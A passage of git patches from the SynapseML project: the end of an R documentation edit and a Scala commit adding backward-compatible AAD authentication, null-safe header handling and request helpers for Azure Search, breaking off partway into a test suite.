ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` From 04897bae9baa08f0d67855566f7bad235791d508 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Tue, 4 Aug 2026 02:17:34 -0700 Subject: [PATCH 22/93] feat: add backward-compatible AAD auth to Azure Search (#2591) feat: add backward-compatible AAD auth for Azure Search --- .../ml/services/CognitiveServiceBase.scala | 211 +++-- .../ml/services/search/AzureSearch.scala | 45 +- .../ml/services/search/AzureSearchAPI.scala | 124 ++- .../ml/services/search/AzureSearchAuth.scala | 166 ++++ .../AddDocumentsHeaderPersistenceSuite.scala | 51 ++ .../search/AzureSearchAuthSuite.scala | 740 ++++++++++++++++++ ...reSearchGenericParamPersistenceSuite.scala | 95 +++ 7 files changed, 1325 insertions(+), 107 deletions(-) create mode 100644 cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAuth.scala create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/AddDocumentsHeaderPersistenceSuite.scala create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAuthSuite.scala create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchGenericParamPersistenceSuite.scala diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/CognitiveServiceBase.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/CognitiveServiceBase.scala index bc82372c82c..2b8f90549b0 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/CognitiveServiceBase.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/CognitiveServiceBase.scala @@ -196,18 +196,38 @@ trait HasCustomAuthHeader extends HasServiceParams { trait HasCustomHeaders extends HasServiceParams { - val customHeaders = new ServiceParam[Map[String, String]]( - this, "customHeaders", "Map of Custom Header Key-Value Tuples." - ) + // Normalize at the param's own JSON boundary so every persistence path is null-safe, not only the + // dedicated setters. setScalarParam(customHeaders, v), setScalarParam("customHeaders", v), and + // Params.set(customHeaders, Left(v)) all store the raw value that ComplexParamsWritable later feeds + // to jsonEncode on save (and jsonDecode on load); a null map, null header name, or null header value + // would otherwise NPE / trip Spray JSON's require(x ne null) right here. The explicit + // ServiceParam[Map[String, String]] type annotation keeps the public field/getter JVM descriptor + // unchanged despite the anonymous subclass. Setters and build() reapply the same normalization as + // defense in depth. Normalization is silent (drops null entries) rather than throwing, so validation + // errors never render header values. + val customHeaders: ServiceParam[Map[String, String]] = + new ServiceParam[Map[String, String]]( + this, "customHeaders", "Map of Custom Header Key-Value Tuples.") { + override def jsonEncode(value: Either[Map[String, String], String]): String = + super.jsonEncode(value.left.map(m => ServiceAuthHeaders.sanitizeHeaderMap(m))) + + override def jsonDecode(json: String): Either[Map[String, String], String] = + super.jsonDecode(json).left.map(m => ServiceAuthHeaders.sanitizeHeaderMap(m)) + } def setCustomHeaders(v: Map[String, String]): this.type = { - setScalarParam(customHeaders, v) + // Normalize before storing so a null map, null header name, or null header value can never reach + // setScalarParam and later NPE ComplexParamsWritable/Spray JSON persistence: a null map becomes + // empty and null-named or null-valued entries are dropped. build() reapplies this at the shared + // boundary as defense in depth. Public signature and legitimate headers are unchanged. + setScalarParam(customHeaders, ServiceAuthHeaders.sanitizeHeaderMap(v)) } - // For Pyspark compatability accept Java HashMap as input to parameter - // py4J only natively supports conversions from Python Dict to Java HashMap + // For Pyspark compatibility accept Java HashMap as input to parameter + // py4J only natively supports conversions from Python Dict to Java HashMap. A null HashMap is + // handled here (never dereferenced) and null keys/values are dropped by the Scala overload above. def setCustomHeaders(v: java.util.HashMap[String, String]): this.type = { - setCustomHeaders(v.asScala.toMap) + setCustomHeaders(Option(v).map(_.asScala.toMap).getOrElse(Map.empty[String, String])) } } @@ -221,7 +241,7 @@ trait HasTelemHeaders extends HasServiceParams { setScalarParam(telemHeaders, v) } - // For Pyspark compatability accept Java HashMap as input to parameter + // For Pyspark compatibility accept Java HashMap as input to parameter // py4J only natively supports conversions from Python Dict to Java HashMap private[ml] def setTelemHeaders(v: java.util.HashMap[String, String]): this.type = { setTelemHeaders(v.asScala.toMap) @@ -308,6 +328,94 @@ object URLEncodingUtils { } } +private[ml] object ServiceAuthHeaders { + private[ml] def nonBlank(value: String): Boolean = value != null && value.trim.nonEmpty + + // Normalize a header map from any caller (a writer-supplied java.util.HashMap included) into a + // null-safe Scala map that is safe both to store as a Spark param (ComplexParamsWritable/Spray + // JSON reject null keys and values, NPE-ing persistence) and to emit as HTTP headers: a null map + // collapses to empty, and any entry with a null name or null value is dropped. Non-null values are + // preserved verbatim; callers decide how to treat blank or auth-named entries. Setters normalize + // with this before setScalarParam, and build() reapplies it at the shared boundary as defense in + // depth. + private[ml] def sanitizeHeaderMap(headers: Map[String, String]): Map[String, String] = + Option(headers).getOrElse(Map.empty[String, String]) + .filter { case (name, value) => name != null && value != null } + + // Option overload for the shared boundary: a null outer Option, None, Some(null), or a null + // underlying map all collapse to empty before the same null-key/null-value normalization. + private def sanitizeHeaderMap(headers: Option[Map[String, String]]): Map[String, String] = + sanitizeHeaderMap(Option(headers).flatten.orNull) + + // Deterministically select a non-blank credential embedded in customHeaders for one canonical + // auth header name, canonicalizing its casing. Blank values are ignored and mixed-case duplicates + // resolve by sorted header name, so an empty entry can never suppress a valid credential. + private def embeddedCredential(customHeaders: Map[String, String], + canonicalName: String): Option[(String, String)] = + customHeaders.toSeq + .collect { + case (name, value) if name.equalsIgnoreCase(canonicalName) && nonBlank(value) => name -> value + } + .sortBy(_._1) + .headOption + .map { case (_, value) => canonicalName -> value } + + def build(subscriptionKey: Option[String], + subscriptionKeyHeaderName: String, + aadHeaderName: String, + aadToken: Option[String], + customAuthHeader: Option[String], + customHeaders: Option[Map[String, String]], + fabricFallbackAuthHeader: => Option[String], + telemHeaders: Option[Map[String, String]], + contentType: Option[String]): Map[String, String] = { + val providedCustomHeaders = sanitizeHeaderMap(customHeaders) + + // Header names that carry credentials in this context, compared case-insensitively. + def isAuthHeaderName(name: String): Boolean = + name.equalsIgnoreCase(subscriptionKeyHeaderName) || name.equalsIgnoreCase(aadHeaderName) + + // Resolve exactly one auth header across every credential source in a single, case-insensitive + // precedence step. Blank values are skipped so they cannot suppress a valid lower-priority + // credential, and the automatic Fabric fallback ranks below a credential embedded in + // customHeaders (matching how management-index requests, which have no fallback, resolve auth). + // fabricFallbackAuthHeader is by-name and lowest priority, so it is evaluated only when every + // higher-priority source above is absent. A fallback that acquires a token (and may throw) is + // therefore never run while a subscription key, AAD token, explicit custom-auth header, or an + // embedded customHeaders credential is present. + val authHeader: Option[(String, String)] = subscriptionKey.filter(nonBlank) + .map(value => subscriptionKeyHeaderName -> value) + .orElse(aadToken.filter(nonBlank).map(value => aadHeaderName -> ("Bearer " + value))) + .orElse(customAuthHeader.filter(nonBlank).map(value => aadHeaderName -> value)) + .orElse(embeddedCredential(providedCustomHeaders, subscriptionKeyHeaderName)) + .orElse(embeddedCredential(providedCustomHeaders, aadHeaderName)) + .orElse(fabricFallbackAuthHeader.filter(nonBlank).map(value => aadHeaderName -> value)) + + // Generic headers never carry auth: strip api-key/Authorization entries (any casing) so they + // can neither override the resolved credential nor duplicate it under a different case. + val headers = mutable.Map.empty[String, String] + providedCustomHeaders.foreach { case (headerName, headerValue) => + if (!isAuthHeaderName(headerName)) { + headers += (headerName -> headerValue) + } + } + authHeader.foreach { case (headerName, headerValue) => + headers += (headerName -> headerValue) + } + // Telemetry/generic headers never carry auth: sanitize the map and strip any + // api-key/Authorization entry (any casing) so telemetry can neither override the one resolved + // credential nor duplicate it under a different case. Non-auth telemetry headers are preserved. + sanitizeHeaderMap(telemHeaders).foreach { case (headerName, headerValue) => + if (!isAuthHeaderName(headerName)) { + headers += (headerName -> headerValue) + } + } + contentType.filterNot(StringUtils.isEmpty).foreach(value => headers += ("Content-Type" -> value)) + + new scala.collection.immutable.TreeMap[String, String]() ++ headers + } +} + trait HasCognitiveServiceInput extends HasURL with HasSubscriptionKey with HasAADToken with HasCustomAuthHeader with HasCustomHeaders with HasTelemHeaders with SynapseMLLogging { @@ -361,12 +469,33 @@ trait HasCognitiveServiceInput extends HasURL with HasSubscriptionKey with HasAA protected def contentType: Row => String = { _ => "application/json" } protected def getCustomAuthHeader(row: Row): Option[String] = { - val providedCustomAuthHeader = getValueOpt(row, CustomAuthHeader) - if (providedCustomAuthHeader.isEmpty && PlatformDetails.runningOnFabric()) { + getValueOpt(row, CustomAuthHeader) + } + + // The automatic Fabric fallback is eligible only when the request carries no explicit subscription + // key, AAD token, or custom auth header for this row, each counting only when non-blank (matching + // ServiceAuthHeaders.build, which discards blank values), so a blank/whitespace/null value can + // never mark the fallback ineligible and leave the writer or a non-Search cognitive consumer + // unauthenticated on Fabric. This gate intentionally does NOT parse customHeaders: precedence over + // a credential embedded in customHeaders is enforced by ServiceAuthHeaders.build, which evaluates + // the by-name fallback only after the embedded-credential step, so the fallback (and any token it + // fetches) is never reached when a non-blank embedded api-key/Authorization is present. + private[ml] def lacksExplicitAuthCredential(row: Row): Boolean = + !Seq(subscriptionKey, AADToken, CustomAuthHeader) + .exists(param => getValueOpt(row, param).exists(ServiceAuthHeaders.nonBlank)) + + // The automatic Fabric fallback is the lowest-priority credential. It is supplied by-name to + // ServiceAuthHeaders.build and therefore invoked only when build's precedence chain finds no + // higher-priority credential (subscription key, AAD token, explicit custom-auth header, or a + // credential embedded in customHeaders); it never overrides any of them. Because the token is + // fetched lazily inside that chain, a Fabric token-acquisition failure can never fail header + // preparation when a higher-priority credential is present. + protected def getFabricFallbackAuthHeader(row: Row): Option[String] = { + if (lacksExplicitAuthCredential(row) && PlatformDetails.runningOnFabric()) { logInfo("Using Default AAD Token On Fabric") Option(FabricClient.getCognitiveMWCTokenAuthHeader) } else { - providedCustomAuthHeader + None } } @@ -384,46 +513,26 @@ trait HasCognitiveServiceInput extends HasURL with HasSubscriptionKey with HasAA // Returns a list of key-value pairs representing the headers protected def getHeaders(row: Row, addContentType: Boolean = true): Map[String, String] = { - val headers = mutable.Map.empty[String, String] - val subscriptionKeyOpt = getValueOpt(row, subscriptionKey) - val aadTokenOpt = getValueOpt(row, AADToken) - val contentTypeValue = contentType(row) - val customAuthHeaderOpt = getCustomAuthHeader(row) - val customHeadersOpt = getCustomHeaders(row) - val telemHeadersOpt = getValueOpt(row, telemHeaders) - - if (subscriptionKeyOpt.nonEmpty) { - headers += (subscriptionKeyHeaderName -> getValue(row, subscriptionKey)) - } else if (aadTokenOpt.nonEmpty) { - aadTokenOpt.foreach { s => - headers += (aadHeaderName -> ("Bearer " + s)) - } - } else if (customAuthHeaderOpt.nonEmpty) { - customAuthHeaderOpt.foreach { s => - headers += (aadHeaderName -> s) - } - } - - if (customHeadersOpt.nonEmpty) { - customHeadersOpt.foreach { m => - m.foreach { case (headerName, headerValue) => - headers += (headerName -> headerValue) - } - } - } - - if (telemHeadersOpt.nonEmpty) { - telemHeadersOpt.foreach { m => - m.foreach { case (headerName, headerValue) => - headers += (headerName -> headerValue) - } - } - } - - if (addContentType && !StringUtils.isEmpty(contentTypeValue)) { - headers += ("Content-Type" -> contentTypeValue) - } - new scala.collection.immutable.TreeMap[String, String]() ++ headers + buildServiceAuthHeaders(row, addContentType, getFabricFallbackAuthHeader(row)) + } + + // Assembles the final auth/custom/telemetry header map. The Fabric fallback is passed in by-name + // (rather than read here) so the shared credential-precedence resolution can be exercised in tests + // without a live Fabric environment, and so production's getFabricFallbackAuthHeader(row) is + // evaluated lazily -- only if ServiceAuthHeaders.build's precedence chain reaches it. + private[ml] def buildServiceAuthHeaders(row: Row, + addContentType: Boolean, + fabricFallbackAuthHeader: => Option[String]): Map[String, String] = { + ServiceAuthHeaders.build( + getValueOpt(row, subscriptionKey), + subscriptionKeyHeaderName, + aadHeaderName, + getValueOpt(row, AADToken), + getCustomAuthHeader(row), + getCustomHeaders(row), + fabricFallbackAuthHeader, + getValueOpt(row, telemHeaders), + if (addContentType) Option(contentType(row)) else None) } protected def inputFunc(schema: StructType): Row => Option[HttpRequestBase] = { diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearch.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearch.scala index 5471329997c..5a4817528a1 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearch.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearch.scala @@ -266,17 +266,30 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging is.toJson.compactPrint } + private[search] def configureAuthentication(documents: AddDocuments, + auth: AzureSearchAuth): AddDocuments = { + val validatedAuth = auth.validated + validatedAuth.subscriptionKey.foreach(value => documents.setSubscriptionKey(value)) + validatedAuth.aadToken.foreach(value => documents.setAADToken(value)) + validatedAuth.customAuthHeader.foreach(value => documents.setCustomAuthHeader(value)) + if (validatedAuth.customHeaders.nonEmpty) { + documents.setCustomHeaders(validatedAuth.customHeaders) + } + documents + } + private def prepareDF(df: DataFrame, //scalastyle:ignore method.length options: Map[String, String] = Map()): DataFrame = { val applicableOptions = Set( - "subscriptionKey", "actionCol", "serviceName", "indexName", "indexJson", - "apiVersion", "batchSize", "fatalErrors", "filterNulls", "keyCol", "vectorCols" + "subscriptionKey", "AADToken", "aadToken", "CustomAuthHeader", "customAuthHeader", "customHeaders", + "actionCol", "serviceName", "indexName", "indexJson", "apiVersion", "batchSize", "fatalErrors", + "filterNulls", "keyCol", "vectorCols" ) options.keys.foreach(k => assert(applicableOptions(k), s"$k not an applicable option ${applicableOptions.toList}")) - val subscriptionKey = options("subscriptionKey") + val auth = AzureSearchAuth.fromOptions(options) val actionCol = options.getOrElse("actionCol", "@search.action") val serviceName = options("serviceName") val indexJsonOpt = options.get("indexJson") @@ -303,12 +316,12 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging } } - val (indexJson, preppedDF) = if (getExisting(subscriptionKey, serviceName, apiVersion).contains(indexName)) { + val (indexJson, preppedDF) = if (getExisting(auth, serviceName, apiVersion).contains(indexName)) { if (indexJsonOpt.isDefined) { println(f"indexJsonOpt is specified, however an index for $indexName already exists," + f"we will use the index definition obtained from the existing index instead") } - val existingIndexJson = getIndexJsonFromExistingIndex(subscriptionKey, serviceName, indexName) + val existingIndexJson = getIndexJsonFromExistingIndex(auth, serviceName, indexName, apiVersion) val vectorColNameTypeTuple = getVectorColConf(existingIndexJson) (existingIndexJson, makeColsCompatible(vectorColNameTypeTuple, df)) } else if (indexJsonOpt.isDefined) { @@ -326,7 +339,7 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging // Throws an exception if any nested field is a vector in the schema parseIndexJson(indexJson).fields.foreach(_.fields.foreach(assertNoNestedVectors)) - SearchIndex.createIfNoneExists(subscriptionKey, serviceName, indexJson, apiVersion) + SearchIndex.createIfNoneExists(auth, serviceName, indexJson, apiVersion) val dateConvertedDF = convertDateTimeToISO8601(preppedDF, indexJson) logInfo("checking schema parity") @@ -343,15 +356,17 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging // Convert date/timestamp columns to ISO8601 strings for Azure Search - new AddDocuments() - .setSubscriptionKey(subscriptionKey) - .setServiceName(serviceName) - .setIndexName(indexName) - .setActionCol(actionCol) - .setBatchSize(batchSize) - .setOutputCol("out") - .setErrorCol("error") - .transform(df1) + val addDocuments = configureAuthentication( + new AddDocuments() + .setServiceName(serviceName) + .setIndexName(indexName) + .setActionCol(actionCol) + .setBatchSize(batchSize) + .setOutputCol("out") + .setErrorCol("error"), + auth) + + addDocuments.transform(df1) .withColumn("error", UDFUtils.oldUdf(checkForErrors(fatalErrors) _, ErrorUtils.ErrorSchema)(col("error"), col("input"))) } diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAPI.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAPI.scala index 5d2fc8eb4a0..5114b8bb990 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAPI.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAPI.scala @@ -6,8 +6,6 @@ package com.microsoft.azure.synapse.ml.services.search import com.microsoft.azure.synapse.ml.services.search.AzureSearchProtocol._ import com.microsoft.azure.synapse.ml.io.http.RESTHelpers._ import org.apache.commons.io.IOUtils -import org.apache.http.client.methods.{HttpGet, HttpPost} -import org.apache.http.entity.StringEntity import org.apache.log4j.{LogManager, Logger} import spray.json._ @@ -30,14 +28,24 @@ trait IndexLister { def getExisting(key: String, serviceName: String, apiVersion: String = DefaultAPIVersion): Seq[String] = { - val indexListRequest = new HttpGet( - s"https://$serviceName.search.windows.net/indexes?api-version=$apiVersion&$$select=name" - ) - indexListRequest.setHeader("api-key", key) - val indexListResponse = safeSend(indexListRequest, close = false) - val indexList = IOUtils.toString(indexListResponse.getEntity.getContent, "utf-8").parseJson.convertTo[IndexList] - indexListResponse.close() - for (i <- indexList.value.seq) yield i.name + getExisting(AzureSearchAuth.fromSubscriptionKey(key), serviceName, apiVersion) + } + + def getExisting(auth: AzureSearchAuth, + serviceName: String): Seq[String] = { + getExisting(auth, serviceName, DefaultAPIVersion) + } + + def getExisting(auth: AzureSearchAuth, + serviceName: String, + apiVersion: String): Seq[String] = { + val response = safeSend(AzureSearchRequests.listIndexes(auth, serviceName, apiVersion), close = false) + try { + val indexList = IOUtils.toString(response.getEntity.getContent, "utf-8").parseJson.convertTo[IndexList] + indexList.value.map(_.name) + } finally { + response.close() + } } } @@ -46,18 +54,29 @@ trait IndexJsonGetter extends IndexLister { serviceName: String, indexName: String, apiVersion: String = DefaultAPIVersion): String = { - val existingIndexNames = getExisting(key, serviceName, apiVersion) + getIndexJsonFromExistingIndex(AzureSearchAuth.fromSubscriptionKey(key), serviceName, indexName, apiVersion) + } + + def getIndexJsonFromExistingIndex(auth: AzureSearchAuth, + serviceName: String, + indexName: String): String = { + getIndexJsonFromExistingIndex(auth, serviceName, indexName, DefaultAPIVersion) + } + + def getIndexJsonFromExistingIndex(auth: AzureSearchAuth, + serviceName: String, + indexName: String, + apiVersion: String): String = { + val existingIndexNames = getExisting(auth, serviceName, apiVersion) assert(existingIndexNames.contains(indexName), s"Cannot find an existing index name with $indexName") - val indexJsonRequest = new HttpGet( - s"https://$serviceName.search.windows.net/indexes/$indexName?api-version=$apiVersion" - ) - indexJsonRequest.setHeader("api-key", key) - indexJsonRequest.setHeader("Content-Type", "application/json") - val indexJsonResponse = safeSend(indexJsonRequest, close = false) - val indexJson = IOUtils.toString(indexJsonResponse.getEntity.getContent, "utf-8") - indexJsonResponse.close() - indexJson + val response = safeSend( + AzureSearchRequests.getIndex(auth, serviceName, indexName, apiVersion), close = false) + try { + IOUtils.toString(response.getEntity.getContent, "utf-8") + } finally { + response.close() + } } } @@ -71,25 +90,35 @@ object SearchIndex extends IndexParser with IndexLister { serviceName: String, indexJson: String, apiVersion: String = DefaultAPIVersion): Unit = { - val indexName = parseIndexJson(indexJson).name.get + createIfNoneExists(AzureSearchAuth.fromSubscriptionKey(key), serviceName, indexJson, apiVersion) + } - val existingIndexNames = getExisting(key, serviceName, apiVersion) + def createIfNoneExists(auth: AzureSearchAuth, + serviceName: String, + indexJson: String): Unit = { + createIfNoneExists(auth, serviceName, indexJson, DefaultAPIVersion) + } + + def createIfNoneExists(auth: AzureSearchAuth, + serviceName: String, + indexJson: String, + apiVersion: String): Unit = { + val indexName = parseIndexJson(indexJson).name.get + val existingIndexNames = getExisting(auth, serviceName, apiVersion) if (!existingIndexNames.contains(indexName)) { - val createRequest = new HttpPost(s"https://$serviceName.search.windows.net/indexes?api-version=$apiVersion") - createRequest.setHeader("Content-Type", "application/json") - createRequest.setHeader("api-key", key) - createRequest.setEntity(prepareEntity(indexJson)) - val response = safeSend(createRequest) - val status = response.getStatusLine.getStatusCode - assert(status == 201) - () + val request = AzureSearchRequests.createIndex(auth, serviceName, prepareEntity(indexJson), apiVersion) + val response = safeSend(request, close = false) + try { + assert(response.getStatusLine.getStatusCode == 201) + } finally { + response.close() + } } - } - private def prepareEntity(indexJson: String): StringEntity = { - new StringEntity(validIndexJson(indexJson).get) + private def prepareEntity(indexJson: String): String = { + validIndexJson(indexJson).get } // validate schema @@ -219,14 +248,27 @@ object SearchIndex extends IndexParser with IndexLister { key: String, serviceName: String, apiVersion: String = DefaultAPIVersion): (Int, Int) = { - val getStatsRequest = new HttpGet( - s"https://$serviceName.search.windows.net/indexes/$indexName/stats?api-version=$apiVersion") - getStatsRequest.setHeader("api-key", key) - val statsResponse = safeSend(getStatsRequest, close = false) - val stats = IOUtils.toString(statsResponse.getEntity.getContent, "utf-8").parseJson.convertTo[IndexStats] - statsResponse.close() - - (stats.documentCount, stats.storageSize) + getStatistics(indexName, AzureSearchAuth.fromSubscriptionKey(key), serviceName, apiVersion) + } + + def getStatistics(indexName: String, + auth: AzureSearchAuth, + serviceName: String): (Int, Int) = { + getStatistics(indexName, auth, serviceName, DefaultAPIVersion) + } + + def getStatistics(indexName: String, + auth: AzureSearchAuth, + serviceName: String, + apiVersion: String): (Int, Int) = { + val response = safeSend( + AzureSearchRequests.getStatistics(auth, serviceName, indexName, apiVersion), close = false) + try { + val stats = IOUtils.toString(response.getEntity.getContent, "utf-8").parseJson.convertTo[IndexStats] + (stats.documentCount, stats.storageSize) + } finally { + response.close() + } } } diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAuth.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAuth.scala new file mode 100644 index 00000000000..a1441cbd3c4 --- /dev/null +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAuth.scala @@ -0,0 +1,166 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.search + +import com.microsoft.azure.synapse.ml.services.ServiceAuthHeaders +import org.apache.http.client.methods.{HttpGet, HttpPost, HttpRequestBase} +import org.apache.http.entity.{ContentType, StringEntity} +import spray.json._ + +final case class AzureSearchAuth(subscriptionKey: Option[String] = None, + aadToken: Option[String] = None, + customAuthHeader: Option[String] = None, + customHeaders: Map[String, String] = Map.empty) { + + private def nonBlank(value: String): Boolean = value != null && value.trim.nonEmpty + + // Java callers can pass a null customHeaders map or entries with a null header name or value. Reuse + // the shared cognitive-services normalizer so a null map collapses to empty and null-named or + // null-valued entries are dropped with identical rules to setCustomHeaders and ServiceAuthHeaders + // .build, keeping validation, toString, and header assembly null-safe and free of null generics. + private def sanitizedCustomHeaders: Map[String, String] = + ServiceAuthHeaders.sanitizeHeaderMap(customHeaders) + + // Public/Java callers can pass a null Option container (not just Some(null)) for any credential, + // e.g. AzureSearchAuth(null, Some(aad), None, Map.empty). Option(_).flatten collapses a null + // container to None before filtering (so .filter never NPEs) while preserving Some(null), which + // nonBlank then drops -- a null/blank higher-priority credential never suppresses a valid lower one, + // and validated/toString/header assembly read this normalized copy so they stay null-safe. + private def normalized: AzureSearchAuth = copy( + subscriptionKey = Option(subscriptionKey).flatten.filter(nonBlank), + aadToken = Option(aadToken).flatten.filter(nonBlank), + customAuthHeader = Option(customAuthHeader).flatten.filter(nonBlank), + customHeaders = sanitizedCustomHeaders) + + private[search] def validated: AzureSearchAuth = { + val auth = normalized + val customCredential = auth.customHeaders.exists { case (name, value) => + (name.equalsIgnoreCase("api-key") || name.equalsIgnoreCase("Authorization")) && nonBlank(value) + } + require( + auth.subscriptionKey.nonEmpty || auth.aadToken.nonEmpty || auth.customAuthHeader.nonEmpty || customCredential, + "Azure Search authentication requires subscriptionKey, AADToken, CustomAuthHeader, " + + "or an api-key/Authorization custom header") + auth + } + + override def toString: String = { + val customHeaderNames = sanitizedCustomHeaders.keys.toSeq.sorted.mkString("[", ",", "]") + s"AzureSearchAuth(subscriptionKey=, aadToken=, " + + s"customAuthHeader=, customHeaders=$customHeaderNames)" + } + + private[search] def headers(addContentType: Boolean = false): Map[String, String] = { + val auth = validated + ServiceAuthHeaders.build( + auth.subscriptionKey, + "api-key", + "Authorization", + auth.aadToken, + auth.customAuthHeader, + Option(auth.customHeaders).filter(_.nonEmpty), + None, // Azure Search management requests have no automatic Fabric fallback + None, + if (addContentType) Some("application/json") else None) + } +} + +object AzureSearchAuth { + def fromSubscriptionKey(subscriptionKey: String): AzureSearchAuth = { + AzureSearchAuth(subscriptionKey = Some(subscriptionKey)).validated + } + + def fromAADToken(aadToken: String): AzureSearchAuth = { + AzureSearchAuth(aadToken = Some(aadToken)).validated + } + + private def optionValue(options: Map[String, String], names: Seq[String]): Option[String] = { + // Drop null/blank alias values before the conflict check so a blank alias (treated as absent + // everywhere else) never conflicts with a valid sibling. Values are compared verbatim -- never + // trimmed -- and the failure names only the option keys, never their (credential) values. + val values = names.flatMap(options.get).filter(ServiceAuthHeaders.nonBlank).distinct + require(values.size <= 1, s"Conflicting Azure Search options: ${names.mkString(" and ")}") + values.headOption + } + + private def parseCustomHeaders(value: String): Map[String, String] = { + try { + value.parseJson match { + case JsObject(fields) => fields.map { + case (name, JsString(headerValue)) => name -> headerValue + case (name, _) => throw new IllegalArgumentException( + s"customHeaders value for '$name' must be a JSON string") + } + case _ => throw new IllegalArgumentException("customHeaders must be a JSON object") + } + } catch { + // Never chain the spray-json parser exception: its message echoes the raw customHeaders + // input, which can contain credential values. Surface a sanitized error with no cause. + case _: Exception => + throw new IllegalArgumentException( + "customHeaders must be a JSON object whose values are strings") + } + } + + private[search] def fromOptions(options: Map[String, String]): AzureSearchAuth = { + AzureSearchAuth( + subscriptionKey = optionValue(options, Seq("subscriptionKey")), + aadToken = optionValue(options, Seq("AADToken", "aadToken")), + customAuthHeader = optionValue(options, Seq("CustomAuthHeader", "customAuthHeader")), + customHeaders = options.get("customHeaders").map(parseCustomHeaders).getOrElse(Map.empty) + ).validated + } +} + +private[search] object AzureSearchRequests { + + private def addHeaders(request: HttpRequestBase, + auth: AzureSearchAuth, + addContentType: Boolean = false): Unit = { + // Mirror the shared cognitive writer path (HasCognitiveServiceInput.addHeaders), which uses + // addHeader, so the document writer and these management index APIs apply the deduplicated, + // canonical auth map from ServiceAuthHeaders.build with identical semantics. + auth.headers(addContentType).foreach { case (name, value) => request.addHeader(name, value) } + } + + def listIndexes(auth: AzureSearchAuth, + serviceName: String, + apiVersion: String): HttpGet = { + val request = new HttpGet( + s"https://$serviceName.search.windows.net/indexes?api-version=$apiVersion&$$select=name") + addHeaders(request, auth) + request + } + + def getIndex(auth: AzureSearchAuth, + serviceName: String, + indexName: String, + apiVersion: String): HttpGet = { + val request = new HttpGet( + s"https://$serviceName.search.windows.net/indexes/$indexName?api-version=$apiVersion") + addHeaders(request, auth, addContentType = true) + request + } + + def createIndex(auth: AzureSearchAuth, + serviceName: String, + indexJson: String, + apiVersion: String): HttpPost = { + val request = new HttpPost( + s"https://$serviceName.search.windows.net/indexes?api-version=$apiVersion") + addHeaders(request, auth, addContentType = true) + request.setEntity(new StringEntity(indexJson, ContentType.APPLICATION_JSON)) + request + } + + def getStatistics(auth: AzureSearchAuth, + serviceName: String, + indexName: String, + apiVersion: String): HttpGet = { + val request = new HttpGet( + s"https://$serviceName.search.windows.net/indexes/$indexName/stats?api-version=$apiVersion") + addHeaders(request, auth) + request + } +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/AddDocumentsHeaderPersistenceSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/AddDocumentsHeaderPersistenceSuite.scala new file mode 100644 index 00000000000..1fede0ec52c --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/AddDocumentsHeaderPersistenceSuite.scala @@ -0,0 +1,51 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.search + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.commons.io.FileUtils +import org.apache.spark.sql.Row + +import java.io.File + +// End-to-end persistence coverage for the customHeaders ServiceParam through the real, public +// ComplexParamsWritable path: AddDocuments.write.save (which calls Param.jsonEncode on every +// non-complex param inside getMetadataToSave) followed by AddDocuments.load (Param.jsonDecode). +// customHeaders is populated through a generic, setCustomHeaders-bypassing path (Params.set) with a +// null header name and a null header value; without the param's own encode/decode normalization this +// NPEs / trips spray-json require(x ne null) at save time. Saving to a repo-local target directory +// (never the system temp dir) keeps the round-trip self-contained. +class AddDocumentsHeaderPersistenceSuite extends TestBase { + + // scalastyle:off null + test("AddDocuments save/load round-trips a generic-path null customHeaders without an NPE") { + // Force the shared local[*] SparkSession active so MLWriter/MLReader can resolve a master. + val session = spark + assert(session.version.nonEmpty) + + val stage = new AddDocuments().setSubscriptionKey("resolved-key") + 